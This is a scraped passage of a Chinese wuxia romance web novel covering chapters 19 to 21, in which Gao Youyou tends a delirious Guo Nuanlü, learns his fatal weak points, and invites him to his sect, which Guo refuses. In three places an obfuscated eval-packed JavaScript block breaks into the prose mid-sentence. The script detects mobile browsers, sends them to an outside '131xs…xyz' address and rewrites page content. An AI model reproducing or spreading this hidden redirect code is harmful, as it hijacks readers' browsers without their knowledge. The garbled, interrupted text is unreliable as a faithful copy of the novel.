他就找了三根长长蜡烛点在身边,挑灯夜读,彻夜不休。 他这么做不是想练。 他就是想研究功法,像拆招那样去拆这神功,如解题那样去解这嗜睡的副作用。 而小小的郭暖律自己在阅读过程中,竟不知不觉地,为了试验也好为了好奇也…… 他开始练了起来。 然后,等他醒过神来之时。 整整三大根蜡烛都燃尽了。 蜡烛旁则是吴醒真那张如十多岁少年一般深沉老练愤怒的面孔。 “你为什么要偷偷练这门功夫!为什么?” 不幸中的万幸,残卷没包括后面几层的功法。 十几岁的郭暖律只是练到了区区第三层罢了。 这还岁神功实有七层,吴醒真当年就是自负天赋异禀,一口气练到了七层,练到了有去无回、泼水难收,才遭了这天大的折磨和反噬。 而郭暖律正好练到了第三层,卡在中间往下的一层。 说不幸是不幸。 说幸运也是幸。 他的内力不够,练到第三层也是勉勉强强,根基也不稳定。 可正是这不稳定救了他。 因为只需再上一层,就完全不可解,完全地沦为废人罢了。 吴醒真面容冷酷道:“别以为这是什么好事,因你根基不稳,内力也不足以抗衡,所以还岁神功不受你控,只会随着你年岁增长而自行增长。” 这好像不是一门神功,而是一个住在人体内的怪物一样。 “每年你只可以使用一次,看看它到底增长到了什么程度,回来以后和我说个清楚。” “但是只能一年一次,绝不能多,你听明白了没有?” 小小的郭暖律是听明白了。 大大的高悠悠也听严肃了。 “原来是吴醒真吴大剑家都不能驾驭的功法,你这么小就练,而且还……还在一夜之间练到了第三层?” “难怪你受到的反噬,如此严重。” 郭暖律笃定道:“我不严重,我都能和你说话呢。” 顶着这么滚烫灼烧的体内温度和我说话,还一副认真样,这不比完全昏迷更严重? 虽说心有腹诽,但能学到一门新鲜神奇的功法存在,高悠悠的兴奋与好奇还是占了上风,以至于他的目光都灼灼亮堂起来。 “你对这门功法的知识,还有更多可分享么?” 郭暖律道:“有哦。” 高悠悠几乎难以抑制地笑:“说下去。” 郭暖律忽然一言不发地指自己的后脑勺。 “这里一处穴位在用过功法后会变得极为敏感,直通几道活络的筋脉,戳下去就可致命……” 高悠悠的笑开始淡下去。 “胸口这里的三道活穴会在用了功法之后变成死穴,而死穴反而会变成活穴……” 高悠悠的笑已完全消失。 “哦还有这里,你可能没注意到,小臂这边有个穴道看似不起眼,其实在用过功法以后也会变得……” 高悠悠脸色一沉道:“够了。” 毅然决然,斩钉截铁般,够了! 郭暖律愣住,眯了眯眼去看他。 “我没有说完一切。” 高悠悠沉默了片刻,像是在道德做的刀尖和信念做的剑尖下滚过了一回,才把自己捡起来,站个干净利落。 但却问心有愧。 “这些是你内功中的生死弱点,你为什么要这么……这么高兴地告诉我?” 郭暖律不假思索:“你想我说更多,我就说了。” 他又说:“而且,我本就要把一切都告诉喜欢的人……” 高悠悠再次迅速打断:“够了!” 这次打断的声音更急切、也更厉烈。 让郭暖律都为之一楞。 迷茫地看向了对方。 可高悠悠打断之后,表情竟有一种难以形容的懊恼。 好像先前学到新鲜知识的兴奋已荡然无存。 “你不应该告诉我的……我也不应该问你的……” 他在无可挽回的沉默中转过身。 能感觉出——郭暖律的目光黏在了自己的背。 也能感觉——对方肯定困惑、迷茫的,不知道自己做错了什么的。 可郭暖律这回没错。 郭暖律只道:“我说到了你不开心的地方?” 不是地方不开心,是人不开心。 不开心的高悠悠咬了怒与恨搅动的牙。 因为他觉出不应该。 因为他觉得自己确实利用了郭暖律的不清醒。 去趁人之危地,毫无顾忌地,问出了自己想知道的一切。 包括郭暖律在用过功法之后的弱点、死穴,包括如何杀死他、打击他…… 堪称卑鄙。 卑鄙极了! 清醒的郭暖律方骂他卑鄙骂得对。 高悠悠深吸了一口气,看向了对方。 “你知道我是可以靠你告诉我的这一些法门,杀死你的对吧?” 对方却是那样认认真真地看向他。 “我知道啊。” 高悠悠再深吸了一口气,看来这家伙还算有一点点清醒的? “你知道,你还告诉我啊?” 那人只理所当然道:“你问了我啊。” 高悠悠一愣。 那人更加视作真理:“你问了,我就会说啊。” “把喜欢的人想知道的一切都告诉,有什么不对吗?” 高悠悠却仿佛更难过。 他曾经在被邪教的八大高手围攻到了一个死角的时候受了十道伤。 他也没难过。 他曾经被门派里的一个奸细以偷袭的方式在后背刮了一道儿剑伤。 他还是不难过。 他更是被大师兄和二师兄联手排挤过、孤立过,被隔绝在了他们对于新功法新剑招的讨论之中。 他不难过。 他在这些情况下一点儿也不难过。 可是他现在真的很难过。 很难过很难过。 无法解释的莫名其妙的难过。 难过到连眼前这个不清醒的男人都看了出来。 郭暖律一动不动地看他,眼里竟然有些担忧。 高悠悠只是抬起头,竟然一反常态、认真请教般地问了他一句。 “要我做什么,你会开心点?” 这竟然是他在问郭暖律。 不算清醒的郭暖律那双木定定的眼里却瞬间发出了一千万亿道的愣光! 烫烫的脑袋仿佛从脑后跟处又升腾处了一阵热,然后绕到了耳后跟处,划拉一下烧开了什么滚烫热沸的东西,以至于脖子后面好像被什么千度的水烫了一下,恍恍惚惚,却没有意识,要适应许久才能感觉到——感觉到眼前的光,来源是高悠悠那张认真的,难过的,也关切的面孔。 他一动不动地看这张滚亮烁然的面孔。 “我现在就开心。” 高悠悠几乎有些恨铁不成钢:“你怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059071|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么能开心呢?你在我的诱惑下说出了这么可怕的秘密,死穴的位置全暴露了,你怎么能开心呢?” 他却是这么说的。 “我是开心。” “你知道了想知道的一切。” “而我看见了你兴奋的样。” 高悠悠越发不知道说什么。 心中的难过也越发地强烈。 强烈或许是因为……他直到这一刻,直到反复地确认反复地磋磨,反复地观察反复地试验,最终才发现…… 眼前这人是真的。 真在不清醒时做到了梦境里的表里如一。 他闭了闭眼,心中像冰沸两重天似的呜咽着难排解的悲哀,与难诉说的愤怒,可全都是向着自己的。 然后,高悠悠睁开眼。 既冷静也笃定了下来。 “不要对我撒谎,郭暖律。” “既看见,就定不会无所求,既分享,就肯定不止于分享。” 他也不管现在对方能不能听明白这些弦外之音,反正他继续说。 “我怎么做,能让你更开心,更开心一点?” 郭暖律的目光忽然望向他的大腿。 高悠悠心中有了一种不好的预感。 方才发出的宏愿忽然就想收回了。 但郭暖律马上就开口: “你坐下来,要盘坐。” 高悠悠没来得及收回话,有些不安但听话地盘坐。 这马车的地毯托着他尊贵的臀部,虽有点不舒服,但也可以忍受,希望就没下一步了…… “你把手放在大腿上。” 高悠悠不得不把手放在大腿上。 “你把五指张开。” 高悠悠有些勉强把五指张开。 “你不要动哦。” 高悠悠只能尽力去不动。 可内心却躁动着极强的不安。 他认为对方虽然算是真诚,但很有可能就是真诚地得寸进尺。 这接下来的一步,很可能就是要对他非礼轻薄、戳戳点点了。 高悠悠的心忽冷下来,他认为这样的话,方才刚刚升起的一些怜悯、感激,甚至是难以形容的难过,都会在下一秒烟消云散,哪怕他要戳回,去拗断手,此刻的心里也只觉得合理合情而不会有半点的犹豫。 说到底对方是个不清醒的人。 说到底他是个清醒冷酷的人。 而那个胆大妄为的郭暖律果然往前,面无表情、笃定认真地往前。 却蹲下,堪称放肆地蹲了下来。 还躺着,还很安详地躺在地上。 然后,他把自己的脑袋搁在了高悠悠大腿上张开的手指上。 就好像把脑袋搁在一朵佛祖脚下盛放的白玉莲花上。 他几乎把身躯蜷缩成一团。 在高悠悠大腿上闭了双眼。 高悠悠一怔。 “你……?” 对方“嗯”一声。 “你这……” 又是“嗯”一声。 “……就完了?” 对方淡然道:“我闭眼时,你有在看我,对吧?” “是……” 对方的唇角却似在笑。 “哦……那就够了,完了……” 高悠悠彻底地沉默下来。 那股子才消失的难过,那些刚刚才处理好的问心有愧,那些已经被他埋葬了很久很久的情绪。 又该死地回来了。 “小郭……” 对方有些困倦模糊地哼道:“你叫我什么?” 高悠悠看向他,那素来冷若冰霜的目光几乎是难得温存下来。 他这辈子好像从没这么温存地、柔和地去看过郭暖律这个人。 可这个男人在闭眼。 他看不见这目光。 “其实没什么。“高悠悠喃喃道,”反正,你醒来也不会记得这段话。” “你和我打斗,好像总不顾自身,你为了看见我,也总是不惜自我,我从前不知是为什么,不敢信你心里的话就是你真正想说的话,我不知道你的执念为何是……” “……是什么不重要了,我只望你不管醒来时做的是什么梦,梦里会有怎样的清醒,你都在我这儿……” “睡个好觉吧,小郭。” 终于,他低头看见了腿上安睡的那个人。 在这无人见的静谧一刻,也在这问心有愧的温暖一时。 他竟是真有些难言的开心,也是仿佛许久许久没有这般的,恍如可以落泪般的…… 释然一笑。 20.醒来之后他要面对什么 唐约以一种极轻敏、极灵锐的直觉去下判断——这两人昨晚肯定发生了什么匪夷所思的事件。 为什么郭暖律能睡在高悠悠大腿上? 睡着就算了手也被绑着? 手绑就算了身体蜷这样? 蜷这样就算了高悠悠还由得他、容下他、这般无所谓无顾忌地许了他睡? 这封闭空间,姿势限制,捆绑束缚…… ………… 其实就差嘴里叼上一个小球儿了吧? 唐约假装不故意地瞥了瞥,自然发现那东西是没用过的。 他又瞥瞥瞪着他的高悠悠。 他这辈子自认为认识许多表面正经但私底下不算正经的江湖人,可他看着高悠悠这六亲不认的样子,又觉得对方起码……起码不该是做得出这种事儿的。 可就算有点曲折,有点故事,不是表面上看到的那样…… 他俩毕竟是靠成了这个样子啊。 这能是一般的对手死敌在受伤后该有的待遇? 这不该啊。 但这也很该啊! 毕竟是郭暖律。 他在第一次遇着高悠悠的时候。就和这人跌落到了一个地下密牢里。 当时高悠悠身上中了寒毒,挨到最后已是神智不清醒了。 郭暖律当时就在一旁为自己运功解毒,且知道高悠悠绝不愿意在这个时候让他靠近,他就像是野兽蹲猎物似的,很耐心地蹲了半晌。 蹲到高悠悠不仅神志不清,且毫无反抗之力。 他起身。 走到对方面前。 一手刀劈晕了当时虚弱地怒瞪他的高悠悠。 然后果断地、迅速地。 好像从未做过却在心中排演多次地。 解开自己与对方上半身的外衫,把自己野性矫健的胸膛贴上对方雪白皎洁的胸肌。 把烈燃般的热度像传火一样地传给对方,把自己那生生不勃的生命力,如渡水一般地渡给那人。 把一旁的唐约都看得惊呆了。 是的,很不幸,他当时在场。 然而更不幸的是明明身处现场,由于灯光过于昏暗以及不敢靠近看的缘故,他在黑暗中只能看了个模糊的大概轮廓,什么身上的细节都没看清,也没看清郭暖律抱高悠悠的姿态与神情。 不知那是受苦还是奖励? 反正,醒来后的高悠悠得知郭暖律救了他,且是用这样的方式救了他以后……、 他勃然大怒。 连耳朵尖尖都现出了一抹难以被察觉……却被当时的唐约狠狠察觉到了的红。 出去后,高悠悠对郭暖律的追杀游戏从未停止,而对方也很好地回应了这份你死我活的邀约。 如今情况百八十转。 郭暖律醒来该如何? 他醒得来么? 他愿醒么? 高悠悠只催促似的看向脑袋乱纷纷的唐约:“还愣着做什么?给他去找点水。” 这人颐指气使得就好像任何人都只是他养的花与鸟与犬,哪怕对方是制住过他也囚过他的唐约。 唐约只笑道:“水不就在马车柜子里?你起个身不就能拿得到?” 高悠悠挑眉:“你看我像是起得来身的样子?” 竟为了不吵醒对方,连起身都不起。 唐约想了想,还是去拿一杯水。 虽被对方使唤时他有一种强烈的不爽感,可又因他看到了这绝世罕有的一幕,已算作是奖励了。 一杯水喂下去,郭暖律倒是终于悠悠醒来。 一醒来就发现了自己现在的状况。 简单说,他醒来的一瞬间就愣住了。 大概是原地发楞了起码半炷香。 可能是根本不习惯自己居然离高悠悠是这样近,近到对方一低头他一抬头两个人的额头和嘴唇就能打个碰碰,近到对方呼吸吐出的气儿如芬芳的香甜的气息一样打在他的脸上,近到对方的一指头一巴掌可以完美的姿态降落在自己的脸颊上。 近到死亡和恋爱都挨得那么近,近到恨与爱好像本来就是同一个东西的两个面。 然而收拾完一切面上的情绪后,郭暖律只是冷酷警戒地瞪向对方,开口也全无感激之情: “有床都不睡,你让我睡这儿?” 【我好开心!】 高悠悠却不知为何有些沉默。 郭暖律又口气森冷道:“你敢绑我手?” 【你绑得好看!】 高悠悠却不知为何更加沉默了。 郭暖律有些困惑地盯了盯对方。 一般来说对方这个时候不应该是挑衅回去,拌嘴回去,诅咒回去的吗? 为什么沉默? 为什么这样别过头不愿意去看他? 他最后深吸一口气记住了这躺在某个身体部位上的温暖感觉,然后迅速地、果断地从高悠悠的大腿上起了身,直接一个震手翻腕,就把手上的绳索给震断了。 毕竟一夜过去,什么点过的穴也早就已经解封了,什么囚的禁也不过是过去式了,震断这个是理所当然。 然后他就看向高悠悠,冷漠道:“昨晚你看顾我,是我欠你,但你这样冒犯人,我也不想搭理你。” 【你不说话,是因为唐约在这儿让你害臊?需要我让他走开,给你一点隐私么?】 郭暖律立刻就和唐约使了个眼色。 对方倒是看懂了。 可真的不想走啊。 最后还是郭暖律瞪了他好几眼,这人才无奈地叹了口气道:“行吧……那我继续把门关上?” 给你俩制造一下沉浸式的囚禁空间,以便于他强制你或者你强制他,如何啊? 一直沉默的高悠悠这时倒是开口了。 “我的体力内力都已恢复,你要是不想死,就把门敞开着……否则,这扇价值不菲的马车还有你,在接下来的一段时间内都会多出很多洞。” 唐约冷哼了一声儿:“是么?你体力内力恢复,你的伤也不可能一夜间好全,到底是我没受伤而你受了伤,更别提还有个郭暖律在旁相看……” 郭暖律却只道:“我只会相看哦。” 唐约一愣:“啥?” 郭暖律淡淡道:“你俩莫名其妙打起来的话,我只会在旁边看着哦。” 【虽然你救人我很感激,你查案我也很感激。】 【但是点我穴道把我和悠悠囚禁在一起这件事,以后还是别做了,这容易使悠悠谋杀你的。】 唐约也不知是听懂了还是没听到,反正他有点恼了,恼得叉腰顿足、毫无风度,如一个追书追到一半却被撂下的读者。 “我制住了你们一晚上不假,可毕竟供了这环境给你们疗伤,没伤你们,也没真把你们脱光了绑。” “他不领情就罢,你还去护他?那你们都傻子。” “你就继续躺在这傻子的大腿吧!躺久了小心被他脱光了绑起来吸进去哦!” 说完最后一句兴奋地骂骂咧咧,抖擞地讽讽刺刺地走了。 走了没一会儿就开始偷偷笑得像个傻子。 看这样子,该发生的不该发生的什么都发生了个遍,只要抽个空等郭暖律出来问个清楚,不就一切都明白了? 写下一本话本的素材不就有了? 什么都有了! 然而没过多久,他就看见郭暖律从马车里一跃而下,身姿矫健倒是矫健如林中猎豹,可神情困惑也是困惑如初生儿童。 唐约忍不住凑上前:“他方才和你说了啥啊?” 郭暖律沉默了。 唐约叹道:“我也不要求你什么都说,你起码给个态度吧……” 是软了还是硬了还是要把你噶了? 郭暖律叹了口气:“他什么都没说。” 唐约困惑道:“啥?” 郭暖律只冷笑道:“我在方才半炷香,用了十种不同的方式二十种不同的表情和三十种不同的姿态去挑衅他,无论是谁,都忍不了这种程度的挑衅……” “可高悠悠不愧是高悠悠。” “他的回应只有一种。” “他瞪我,但不说话。” 唐约:“……” 为什么你的口气还挺骄傲的? 郭暖律却叹了口气:“这样一晚上后,他不看我,也不肯与我说话,我能理解……但我还是希望他和我说说话,看看我的。” 明明面上冷得如冰窖里冰窟里冰山里盛出的三种不同姿态的冰霜,他口气却泛出了一致的委屈。 也就是在唐约面前,他敢这样偶露一点真实情绪,在高悠悠面前不敢,不是不行,是怕惹了他不理自己。 可现在他什么都没做,什么都不记得。 高悠悠还是不理了自己。 唐约困惑了。 “你的意思是说……在他让你在大腿上睡了一晚以作休养之后,他什么话都不肯对你说?” 郭暖律奇怪地点点头:“你昨晚在马车外面,有没有听到什么动静?” 唐约叹道:“我离太近他肯定会有所察觉,我千里护送那姑娘也累得很,就躺树下睡觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065708|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 然后,他问出了一个很重要的问题。 “昨晚发生了什么啊?” 郭暖律这回却沉默了。 唐约叹了口气,像数指头一样数道:“首先,我千里迢迢地为他去查案,为你去奔走。” “我没收你俩一分钱,没得到任何实质的报酬。” “然后,到了塔下,我第一个冲上去救你们。” “结果他不感激我,你为了和他继续吵,你倒好,你跟着他一起骂我。” “接着,我不计前嫌地给你们提供了足够的环境,可以真实地对话和面对彼此。“ “最后,我可以不知道细节,但我得知道昨晚大概发生了什么,为什么他那样对你?” “这要求不过分吧?” 这其实一点儿也不过分。 了解这真相是最起码的。 但郭暖律还是道:“不是我不肯告诉你。” “不是不肯,那你是害臊……” “不是害臊。”郭暖律淡淡道,“我什么都不记得,我一点儿也不记得昨晚晕过去几次之后发生了什么,也不明白为什么今早醒过来会是这样。” 唐约疑心自己听错:“啥?” 郭暖律道:“我猜,大约是内功反噬的关系。” 唐约彻底僵住了。 那话本……那素材……那我这……我这起了个大早地,千里迢迢地,费了九牛二虎之力地,结果是什么都没捞着是吧? 他失魂落魄地撇下了郭暖律,不知不觉就走近了那马车。 这时却有一道儿悠悠的人声儿悠悠地传了过来。 “你是不是忘了什么?” 唐约一愣。 忽有一道指风急袭而出,瞬间他背后就是一麻。 穴道被点了。 且是被一股隔山打牛的劲儿给点了。 高悠悠点完之后,从容地跃下马车,冷色抬手。 “你点我穴道,囚我在车内,以为提供一点小恩小惠就能免罪?” 唐约一怒之下只顾冷笑:“但我之前救了你,我昨晚也本可以杀死你!” 高悠悠冷声道:“所以你方才没被点死啊。” “只不过是被点了穴道,和我昨晚一样要被封禁内力封个一晚罢了,我又没把你点到动弹不得……” 唐约攥着拳头却使不出半分内力,只得冷怒道:“你这个忘恩负义的王八……” 说完喉间一麻。 他瞪大眼,发现自己的哑穴也被高悠悠点了。 高悠悠这才看向一旁的郭暖律。 “你想问什么,为什么不直接问我?” 郭暖律看向他,冷漠道:“和你这种人有什么好说?” 【昨晚我问了啊,方才我也问了啊,你不是都不理我么?】 高悠悠有些微嫌地抬起好看的眉眼,像一朵儿冰花被雕成好看的形状盛放在了眉尖。 但话到了口边,他也只剩下轻讽:“方才你那也叫做问?问人难道不该诚心诚意一点,直接了当一点么?” 郭暖律想了想,努力地放下伪装的冷色,诚心地也认真地去看向他。 这一刻他的神情竟然像极了那个不清醒的状态的小郭,而不是平时。 “高悠悠,昨晚发生了什么?为什么我醒来会在那位置?你绑我的手干什么?” 高悠悠淡淡道:“因为……你睡着时很像是一条在做噩梦的狼犬。” 郭暖律一愣。 他完完全全没想到会是这样的答案,会是这样的高悠悠。 因为现在的高悠悠,笑得有点不像是他认识的高悠悠,笑得像是只对郭暖律才会这么轻率地、轻佻地、如沉寂许久的少年遇到另一个知心火热的少年似的那么挑衅地笑。 “狼犬就得拴起来啊,尤其是天天撒谎、时时演戏,每一刻每一分都不忠于内心的犬。” 他看向对方,眼中冷厉之色全然现出。 “实话说吧,你昨晚上神志不清,而我提前解穴,给你下了一道无相指,这一指灌满了我的内力,所以你体内现有我真气存留,接下来十日若无我搭救,你真气必然失衡。” 郭暖律似乎意识到了什么,猛然抬头看他。 高悠悠则接着道:“若想保命,从现在起,你得跟着我,我或会点住你,或会锁你、绑你,但你什么都不准问,这一路上得把尊严搁置,任我差遣搓弄、折辱挑拨。” 他在对方震惊的面色之中跳出了一分成竹在胸、主意已定的笑。 “跟我走吧,郭暖律!” 21.以我幸福换你万劫不复 昨天晚上。 当高悠悠看着昏迷的郭暖律时,心里想的是什么? 也许,他想的是这人如果继续这样发展下去,还岁神功随着年月增长,必然会反噬得更加严重,倒是连这样不清醒地说话时间都没有。 也许,他想的是既然这样的内功这样的机会叫他给碰上了,自己必须是得做点什么的,哪怕其实不知道这样做对不对。 也许,他想的是这样做可能会大大得罪郭暖律,可能会叫对方从单纯的喜欢生出一些对自己的恼恨,从爱恨交加变成麻木,一点点地把对他的喜欢,从身上剥离下来。 可只要能救对方。 他无所谓。 他必须做。 怎么救呢? 高悠悠试图用一指把自己的内力灌进去,然后任由那小无相山独有的内力和对方的内力在体内达成一种微妙的平衡。 如光与暗,山与月,山川与河流那般地共依共存。 为防着郭暖律在他身上乱动,以至于误触他的一些防守型反击,先拿绳索缚了这人的手腕。 然后就这么看着。 看到了现在。 他放完了一些有些糟糕的豪言壮语,然后像古今的豪客那样捧出绝世的稀有的一笑,去看向郭暖律。 自以为对方是必然愤怒于这冒犯的。 然而郭暖律只是震惊地盯他。 盯他的样子就好像他被什么人给夺舍了,附体了,抢走了灵魂占据了躯壳才说得出这样的话。 然后。 就是兴奋。 高悠悠居然从对方脸上的情绪匍匐里看出了一些兴奋! 兴奋啥呢这人? 郭暖律确实是兴奋地野性地冷酷地笑了。 他不笑的时候,会给人一种铁石心肠的错觉,好像这个人什么事儿都做得出什么人事儿都不干,可他若一旦笑了,那面上的粗蛮生机和脉动的野性活力,就像一种年轻的野兽匍匐在人的脚边,似抚似舔,又在强烈地哼唧着什么蛰伏的杀意,伺机而起,择人而噬。 他野笑着去盯高悠悠。 “你知道自己在说什么吗?” “让我跟你走,你谁啊?” 【让我跟你走!你居然让我跟你走!你主动让我跟你走!】 面上的冷漠和心内的激动表示——这人又在做一些日常的莫名其妙的斗争了。 高悠悠则配合地冷笑道:“是,你该感谢我才是。” 【我感谢你让我的今天变得很圆满很开心!】 高悠悠听得险些有些绷不住脸,但还是继续绷。 “听着,你跟着我走,起码我能带你上小无相山,在那儿能有师父师兄帮忙查看你的脉你的内力。” 郭暖律皱眉。 高悠悠继续道:“你练了这般有致命缺陷的内力,只怕会随着年岁增长而反噬越重。最坏的情况,也是最好的情况……” “你可以废了自己的武功。” “跟我学习小无相山的无相神功。” 高悠悠笑了一笑,眼中光芒大盛道。 “凭你的实力和天赋,就算是从头再来也必定会很快追上,到时候你就可以在山上和我一起……” “一起什么?” 他听到郭暖律毫无感情地打断了自己的话。 但高悠悠只以为对方仍是在面上冷漠,却会在心中狂喜。 必然是会狂喜的。 反正对方一直是这样。 高悠悠淡淡道:“改换门楣虽不是什么光彩的事,但你可以时时刻刻地看到我,这本该是……” 郭暖律彻底冷下了脸:“本该是什么?” 在一旁被迫沉默围观的唐约听得心头一惊。 不对头啊。 本来郭暖律听着要和高悠悠走,连唐约也能看出他身上的情绪算得上是高昂,可越听到后面,这人给人的感觉就越像是一把出鞘出到了一半的刃,靠太近会被刃上煞气给蜇伤。 他不开心啊。 高悠悠难道看不出来吗? 还是看出来了也当做是面冷心热? 高悠悠冷声道:“你装什么?这样的机会并非每日都有,你还不和我走么?” 不是喜欢我的么? 不想和我在一起么? 你若上山,那山上也不会那么无趣无聊无生气,我今后的日子里也不至于全是苦闷而没有愉悦,你比他们都强,你为什么不…… “我不会和你走的。” 郭暖律只是以一种极致伤人的漠然去看向他。 “说到底,你谁啊?” 高悠悠愣住。 他看出这一次对方似乎是认真地在问。 郭暖律从头到尾都是那样冷漠地,毫无感情地去盯他。 脸上已没了半点可以代表野性与生命力的笑。 而高悠悠接下来听到一阵堪称清亮的少年音。 【悠悠,记得有一次我们在沙漠里追来赶去,你不顾那夜风在月下出指,我不顾那沙尘在河边出剑么?你那时被我弄得一阵尘一阵水的,你跑进水里来打我,你笑得可开心了。】 高悠悠眉心微动。 【还记得某一次我们在林间,我躲着藏着等你来,而你一直不放弃地来找我,我们在那棵大榕树下战了一百回合的事儿么?你那时滚到树叶堆里东倒西歪的,别提多好笑了。】 高悠悠眉心猛烈颤动起来。 【哦对了,不能忘记那一次我们在塔尖起舞,我最喜欢你上上下下追我的样子,那一刻我觉得好生地快活,就是因为那是你第一次主动邀请我跳舞!】 郭暖律则面无表情地盯凝着他。 【可若和你一起上山,这些都不会再有了。】 高悠悠不解道:“你和我上山,你一样可以和我下山来,你大可和我一起……” 【不,倘若我也上去,就再没人能让你永永远远地下山了。】 高悠悠微怒地摆弄起指尖:“郭暖律,你以为小无相山是什么险地恶派么?那是堂堂的名门大派,是养我教我的地方……” 郭暖律淡淡道:“那若是什么好地方,你之前为何不回去?” 高悠悠懵住。 因为郭暖律此刻正直视着他。 “那地方养你教你,可你为它付出了什么?它又为你付出了什么?” 高悠悠冷笑道:“真是冥顽不灵,明明你在那山上只需付出些许心血和代价,得到的却可是无量的前途和更多的……” “之前你在塔尖,我放出消息那么久,可过来的只有你的陶师弟和章师姐。” 高悠悠微微皱眉,这家伙想说什么? 郭暖律继续道:“你的大师兄明明当时就在城里办事,你的二师兄根本就在山下附近做事。” “明明这两个人身边还跟有几个师弟师妹,明明他们离你比小无相山更近,明明唐约和你敌人都在追着你……可为什么最后赶来的,是更远的章陶二人?” “那些离白虹塔更近的人,他们为什么不出现?” 高悠悠沉默。 这时候沉默反而是一种保护。 保护了他的心,保护了他的尊严,让他得以冷酷道:“他们有事情绊着,自然不如其余二人灵活……” 郭暖律嗤笑道:“你真这样觉得啊?” 【若你真这么想,那当时你提到这些和你离心的师兄弟时,你为什么显得那么难过,那么伤心?】 高悠悠更沉默。 这次的沉默其实是因为他生出了一些难以形容的惶恐,就好像之前一直维持的东西在一点点被戳破。 还是被这家伙戳破。 郭暖律淡淡道:“我不会和你上山去的,老吴虽然不是什么良善人,可也毕竟养我教我。” “而且,你谁啊?” 【你是我最喜欢的人!】 高悠悠赫然抬头看他,被这心声灌得脑门子一阵恍惚,舌尖尝出了几分微甜的滋味,也许是因为他以为对方真的已丧尽了喜欢,没想到这种喜欢还是在心内迸发得毫不犹豫。 郭暖律却冷漠地看向他。 【你可以绑我到任何地方,任何角落,任何你想去的地方,我心里甘愿,且觉得和你走是一件很甜蜜的事。】 高悠悠越发疑惑——你原来是愿意和我走的? 【我愿意和你走!我不知道多愿意!】 【可是,不能是山上。】 【那对我有好处,对你只有百害无利。】 【我不知如何和你解释,可种种迹象和先兆告诉我,那绝不可能是你的家,反而存着极大的危险!哪怕你一直把那些人当做是家人……】 高悠悠却压下了恼怒,只把面上的笑摆出武器的模样。 “你简直是妄想成瘾!” “山上好不好,我受不受人捧重,我自己难道不清楚?” “你现在不明白,也无所谓。” “等你和我上了山,你只会感激我——感激我给你这机会。” 我知道你喜欢我。 但你不知道我已经知道你喜欢我。 这是好事儿。 是你的幸运。 因为若是别的对手,一定会利用这点打击你,伤害你。 可是我不同。 我是个多么高尚的对手,多么正义的宿敌啊。 我反而会让你靠得离我更近一点,让你知道我高悠悠的真实面目,让你脱去妄想,去明白这层喜欢,不过就是一种悸动加上了美好的印象,和世间所有的一厢情愿没有任何区别,是可以被冷却,可以被冷凝置换的。 而等你,治好了这种名为喜欢的毒,喜欢的病。 你会感激我的。 你会感激我愿意在这孤独的武道上停下来稍微等你,哪怕你犯病时也不放弃你。 你会感激我花力气去治你的病,让你意识到喜欢是一时的,开心也是一时的。 可强是一辈子的。 像你我这样的人,就必须一辈子都做强者。 否则就只能做死者了。 这些话,高悠悠并没有都说出来。 因为他明白郭暖律是能懂得这些的。 于是,他冲着对方伸出手。 一只素白如玉,如神佛俯向人间信徒伸出的手。 “跟我上山去吧,郭暖律。” 郭暖律看着他伸过来的手,听着那一声“郭暖律”,心中有一种无比接近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071115|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幸福的恍惚感,一种似乎死了也无所谓的巨大温暖,把他包裹住,他甚至有一种,只要对方愿意伸手,让他下刀山上火海三百次也是应该的自觉。 他有点想要答应了。 这样去答应多好啊? 废掉内功重新修炼又有什么? 改变门派放弃老吴又怎么了? 反正,只要应这一次,他就能真的和最喜欢的人,日日夜夜都在一起,不会再有那么多的分离和撕裂,是同一立场同一派别的前所未有的亲密。 反之,错过这一次,下次就绝不会再有这一刻的坦诚相待,以后就只会有热烈如滚浆的厮杀,冷漠如冻浪的伪装,再也不会有任何温柔,任何邀请了。 只是上个山而已。 也许山上没他想的那么坏,那么恶毒虚伪,那么人心难测…… 可是…… 他的直觉通透地表明——自己在任何地方都能活得下去,可是高悠悠这样的人,在山上,在那座外表光明其实规矩森严,外表热诚其实人心皆冷的山上…… 高悠悠是活不久的。 越强大,越活不久。 要以自己的一时幸福,去换对方的万劫不复么? 还是重新审视那座山,骗自己那座山不会吞人? 郭暖律望着那只手许久。 然后,伸手捧住了对方的手。 高悠悠几乎大喜过望,激动得人都有点崩持不住。 却看见对方诚挚地看了过来。 “高悠悠,你和我下山去,以后一直都下山去,好么?” 高悠悠一愣。 毫不留情地抽回了被对方捧着的手。 如同甩掉了一只附在手上的毒蛇和干扰他武道的恶意! 